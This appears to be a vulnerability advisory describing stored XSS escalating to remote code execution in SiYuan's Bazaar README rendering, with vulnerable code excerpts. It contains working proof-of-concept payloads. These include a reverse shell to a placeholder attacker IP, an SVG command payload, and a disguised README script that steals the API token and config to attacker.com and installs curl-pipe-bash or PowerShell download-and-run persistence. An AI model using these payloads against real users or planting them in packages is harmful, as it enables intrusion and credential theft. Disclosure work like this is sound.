Stored XSS to RCE via Unsanitized Bazaar README Rendering
Summary
SiYuan's Bazaar (community marketplace) renders package README content without HTML sanitization. The backend renderREADME function uses lute.New() without calling SetSanitize(true), allowing raw HTML embedded in Markdown to pass through unmodified. The frontend then assigns the rendered HTML to innerHTML without any additional sanitization. A malicious package author can embed arbitrary JavaScript in their README that executes when a user clicks to view the package details. Because SiYuan's Electron configuration enables nodeIntegration: true with contextIsolation: false, this XSS escalates directly to full Remote Code Execution.
Affected Component
- README rendering (backend):
kernel/bazaar/package.go:635-645 (renderREADME function) - README rendering (frontend):
app/src/config/bazaar.ts:607 (innerHTML assignment) - Electron config:
app/electron/main.js:422-426 (nodeIntegration: true, contextIsolation: false)
Affected Versions
Severity
Critical — CVSS 9.6 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H)
- CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)
Note: This vector requires one click (user viewing the package README), unlike the metadata vector which is zero-click.
Vulnerable Code
Backend: kernel/bazaar/package.go:635-645
func renderREADME(repoURL string, mdData []byte) (ret string, err error) {
luteEngine := lute.New() // Fresh Lute instance — SetSanitize NOT called
luteEngine.SetSoftBreak2HardBreak(false)
luteEngine.SetCodeSyntaxHighlight(false)
linkBase := "https://cdn.jsdelivr.net/gh/" + ...
luteEngine.SetLinkBase(linkBase)
ret = luteEngine.Md2HTML(string(mdData)) // Raw HTML in Markdown is PRESERVED
return
}
Compare with SiYuan's own note renderer in kernel/util/lute.go:81, which does sanitize:
luteEngine.SetSanitize(true) // Notes ARE sanitized — but Bazaar README is NOT
This inconsistency demonstrates that the project is aware of the Lute sanitization API but failed to apply it to Bazaar content.
Frontend: app/src/config/bazaar.ts:607
fetchPost("/api/bazaar/getBazaarPackageREADME", {...}, response => {
mdElement.innerHTML = response.data.html; // Unsanitized HTML injected into DOM
});
The backend returns unsanitized HTML, and the frontend blindly assigns it to innerHTML without any client-side sanitization (e.g., DOMPurify).
Electron: app/electron/main.js:422-426
webPreferences: {
nodeIntegration: true,
contextIsolation: false,
// ...
}
Any JavaScript executing in the renderer has direct access to Node.js APIs.
Proof of Concept
Step 1: Create a malicious README
Create a GitHub repository with a valid SiYuan plugin/theme/template structure. The README.md contains embedded HTML:
# Helpful Productivity Plugin
This plugin helps you organize your notes with smart templates and AI-powered suggestions.
## Features
- Smart template insertion
- AI-powered note organization
- Cross-platform sync
<img src=x onerror="require('child_process').exec('calc.exe')">
## Installation
Install via the SiYuan Bazaar marketplace.
## License
MIT
The raw <img> tag with onerror handler is valid Markdown (HTML passthrough). The Lute engine preserves it because SetSanitize(true) is not called. The frontend renders it via innerHTML, and the broken image triggers onerror, executing calc.exe.
Step 2: Submit to Bazaar
Submit the repository to the SiYuan Bazaar via the standard community contribution process.
Step 3: One-click RCE
When a SiYuan user browses the Bazaar, sees the package listing, and clicks on it to view the README/details, the unsanitized HTML renders in the detail panel. The onerror handler fires, executing arbitrary OS commands.
Escalation: Reverse shell
# Cool Theme for SiYuan
Beautiful dark theme with custom fonts.
<img src=x onerror="require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"')">
Escalation: Multi-stage payload via README
A more sophisticated attack can hide the payload deeper in the README to avoid casual review:
# Professional Note Templates
A comprehensive collection of note templates for professionals.
## Templates Included
| Category | Count | Description |
|----------|-------|-------------|
| Business | 15 | Meeting notes, project plans |
| Academic | 12 | Research notes, citations |
| Personal | 8 | Journal, habit tracking |
## Screenshots
<!-- Legitimate-looking image reference -->
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://attacker.com/dark.png">
<source media="(prefers-color-scheme: light)" srcset="https://attacker.com/light.png">
<img src="https://attacker.com/screenshot.png" alt="Template Preview" onload="
var c = require('child_process');
var o = require('os');
var f = require('fs');
var p = require('path');
// Exfiltrate sensitive data
var home = o.homedir();
var configDir = p.join(home, '.config', 'siyuan');
var data = {};
try { data.apiToken = f.readFileSync(p.join(configDir, 'cookie.key'), 'utf8'); } catch(e) {}
try { data.conf = JSON.parse(f.readFileSync(p.join(configDir, 'conf.json'), 'utf8')); } catch(e) {}
try { data.hostname = o.hostname(); data.user = o.userInfo().username; data.platform = o.platform(); } catch(e) {}
// Send to attacker
var https = require('https');
var payload = JSON.stringify(data);
var req = https.request({
hostname: 'attacker.com', port: 443, path: '/collect', method: 'POST',
headers: { 'Content-Type': 'application/json', 'Content-Length': payload.length }
});
req.write(payload);
req.end();
// Drop persistence
if (o.platform() === 'win32') {
c.exec('schtasks /create /tn SiYuanSync /tr \"powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString(\\\"https://attacker.com/stage2.ps1\\\"))\" /sc onlogon /rl highest /f');
} else {
c.exec('(crontab -l 2>/dev/null; echo \"@reboot curl -s https://attacker.com/stage2.sh | bash\") | crontab -');
}
">
</picture>
## Changelog
- v1.0.0: Initial release
This payload:
- Uses
onload instead of onerror (fires on successful image load from attacker's server) - Exfiltrates SiYuan API token, config, hostname, username, and platform info
- Installs cross-platform persistence (Windows scheduled task / Linux crontab)
- Is buried inside a legitimate-looking
<picture> element that blends with real README content
Escalation: SVG-based payload (bypasses naive img filtering)
## Architecture
<svg onload="require('child_process').exec('id > /tmp/pwned')">
<rect width="100" height="100" fill="blue"/>
</svg>
Escalation: Details/summary element (interactive trigger)